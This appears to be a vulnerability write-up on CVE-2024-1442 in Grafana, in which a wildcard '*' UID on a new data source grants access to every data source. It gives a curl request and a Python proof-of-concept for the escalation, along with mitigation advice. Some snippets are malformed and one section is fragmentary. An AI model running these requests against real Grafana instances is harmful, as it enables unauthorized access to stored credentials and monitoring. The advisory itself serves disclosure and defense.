---

Grafana is a widely-loved open-source platform for monitoring and observability. But sometimes, even the best tools can have serious holes. CVE-2024-1442 is a recently discovered vulnerability that shows just how powerful (and dangerous) having limited API permissions can be.

In this long read, we’ll walk through how any user with the right to create data sources can abuse the Grafana API by setting a special UID value on new data sources — and in doing so, grant themselves effective admin over every data source in the organization.

Let’s break down how this works, check out code snippets, proof-of-concept exploits, and discuss how to keep your Grafana instance safe.

Severity: High

- Affected users: Anyone able to create a data source (which, in many orgs, includes analysts, engineers, and SREs)

Type: Unauthorized access escalation

Summary:
A user can send a request to the Grafana API to create a new data source and set its UID to the wildcard value *. Doing this bypasses the access control logic, and then suddenly, this user can read, edit, query, and even delete all data sources in the organization — not just the one they created.

1. Abusing the UID

In Grafana, every data source has a unique ID (called a UID). When creating a data source via the API, you can suggest a UID. Normally, this would be a random string, but nothing stops you from passing * (the wildcard), unless the backend checks for it.

2. API Request Example

Suppose Alice is an analyst with only permission to add her own data sources. She crafts an API call like this:

curl -X POST https://grafana.example.com/api/datasources \
-H "Authorization: Bearer <Alices-API-Token>" \
-H "Content-Type: application/json" \
-d '{
  "name": "EvilDataSource",
  "type": "prometheus",
  "access": "proxy",
  "uid": "*",
  "url": "http://localhost:909";
}'

3. What Happens Next?

Normally, Alice would only be able to edit her own data sources. But now, the backend sees uid: * and interprets her as having sweeping access to all data sources — not just the one she created!

Why Did This Happen?

This arises from improper validation of the UID field. The API never checks if the UID is a reserved value (* is a common wildcard), or if using it could result in access conflicts. Whenever Grafana sees * in the UID, it treats actions as applying to all data sources, not just a single one.

Here’s a simple Python script that demonstrates the exploit

import requests

url = "https://grafana.example.com/api/datasources"
headers = {
    "Authorization": "Bearer <Alices-API-Token>",
    "Content-Type": "application/json"
}
payload = {
    "name": "EvilDataSource",
    "type": "prometheus",
    "access": "proxy",
    "uid": "*",
    "url": "http://localhost:909";
}

# Create the malicious data source
response = requests.post(url, headers=headers, json=payload)
print("Status:", response.status_code)
print("Response:", response.json())

# Now Alice can list, edit, or delete data sources she couldn’t before:
list_url = "https://grafana.example.com/api/datasources"
list_response = requests.get(list_url, headers=headers)
print("All Datasources:", list_response.json())

Expected Output

The request succeeds, and now Alice’s API token accesses all data sources, thanks to her data source with UID set to *.

Leak credentials: Data sources often store DB passwords, API tokens, etc.

- Disrupt monitoring: Deleting or altering data sources can wipe out dashboards and alerts org-wide.
- Persistence: An attacker could swap endpoints in data sources to redirect traffic or siphon data.

10.3.2 +

- You can also temporarily remove “create data source” permission from untrusted users, but the long-term fix is to upgrade.

See official fix announcement:

Grafana Security Release Notes — CVE-2024-1442

References & Further Reading

- Grafana Security Changelog
- CVE Details: CVE-2024-1442
- Official Grafana Blog: February 2024 Release

Summary

CVE-2024-1442 is a perfect storm of an overlooked API detail and permission design. If your users can create data sources, and you haven’t updated Grafana, they can (ab)use the wildcard UID to get admin over every data source. Fixing is as easy as upgrading — but this is your reminder to audit who really needs data source creation rights in the first place!

Timeline

Published on: 03/07/2024 18:15:46 UTC
Last modified on: 03/08/2024 14:02:57 UTC